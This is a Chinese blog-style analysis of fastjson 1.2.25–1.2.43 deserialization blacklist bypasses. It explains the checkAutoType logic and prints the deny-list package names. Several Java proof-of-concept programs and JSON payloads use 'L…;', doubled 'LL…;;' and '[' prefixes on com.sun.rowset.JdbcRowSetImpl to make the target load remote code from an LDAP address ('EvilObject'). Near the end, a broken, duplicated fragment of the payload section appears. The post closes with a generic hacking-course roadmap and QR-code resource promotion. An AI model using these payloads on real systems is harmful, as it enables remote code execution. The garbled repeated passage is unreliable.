1.2.25<=fastjson<=1.2.41反序列化漏洞。
从这个版本的fastjson中,对前面的漏洞进行了修复,引入了checkAutoType
安全机制,默认autoTypeSupport
关闭,不能直接反序列化任意类,而打开
AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
更新主要在com.alibaba.fastjson.parser.ParserConfig
中
-
autoTypeSupport:是否开启任意类型的反序列化, 默认关闭
-
denyList:反序列化类的黑名单
-
acceptList:反序列化类的白名单
//黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
添加白名单:
- 使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
- 加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
- 在fastjson.properties中添加:
fastjson.parser.autoTypeAccept=org.su18.fastjson.
漏洞分析
跟进ParserConfig#checkAutoType.
如果开启了autoType,他会先判断是否在白里面,如果在,就会进行加载,之后再次判断是否在黑名单里面,如果在,就会抛出异常。
如果没有开启autoType,他会先判断是否在黑名单里面,如果在,就会抛出异常,之后再次判断是否在白名单里面,如果在,就进行加载。
当然,还有需要反序列化的类既不在黑名单上又不在白名单上面,那就只能是开启了autoType
或者expectClass
不为空,才会加载这个类。
那就跟进TypeUtils#loadClass
,在加载类之前进行了递归调用来处理[ L ;
等描述符。
这里就存在一个逻辑漏洞,前面检查黑名单是使用的startswith
来进行检测的,我们在前面加载上L
字符和后面加上;
,这样就可以绕过黑名单的检查了,这俩个字符也会在这个位置给处理掉了,就成功达到了我们的目的。
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fj25_Jdbc_POC {
public static void main(String[] args) {
String payload = "{\"xx\":{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
"\"autoCommit\":true" +
"}}";
//开启autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
//payload
{
"xx": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
"autoCommit": true
}
}
条件限制
和前面的JdbcRowSetImpl利用链一样需要有网,还有就是需要开启AutoType.
1.2.25<=fastjson<=1.2.42反序列化漏洞
jar包版本: 1.2.42
漏洞分析
仍然还是看看ParserConfig
里面修改的内容
这不是直接把黑白名单给进行了hash处理,以防进行黑名单绕过。
跟进ParserConfig#checkAutoType
,发现多写了一个判断,这里使用hash写的。
大概的意思是如果类的第一个字符是L
,结尾的字符是;
就会取第二个字符到倒数第二个字符的内容,就类似于进行了startwith
这种函数来判断,但是这里只去除了一次,后面是递归操作,就可以双写绕过。
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fj42_Jdbc_POC {
public static void main(String[] args) {
String payload = "{\"xx\":{" +
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
"\"autoCommit\":true" +
"}}";
//开启autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
//payload
{
"xx": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
"autoCommit": true
}
}
条件限制
和上一个版本是一样的:
- 有网
- 开启
AutoType
1.2.25<=fastjson<=1.2.43反序列化漏洞
漏洞分析
这个版本在ParserConfig#checkAutoType
中做出了修改。
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
如果出现了多个L
,就会直接抛出异常。
但是在loadClass
中,同样对[
进行了处理。
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
我们就可以通过[
进行黑名单绕过。
Payload
{
"RoboTerh": {
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName": "ldap://127.0.0.1:8888/EvilObject",
"autoCommit": true
}
}
条件限制
和之前的一样。
fastjson1.2.44
分析
这个版本主要是修复了上一个版本利用[
进行绕过的方法。
参考
https://su18.org/
pl"[{,
“dataSourceName”: “ldap://127.0.0.1:8888/EvilObject”,
“autoCommit”: true
}
}
条件限制
和之前的一样。
fastjson1.2.44
分析
这个版本主要是修复了上一个版本利用[
进行绕过的方法。
参考
https://su18.org/
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】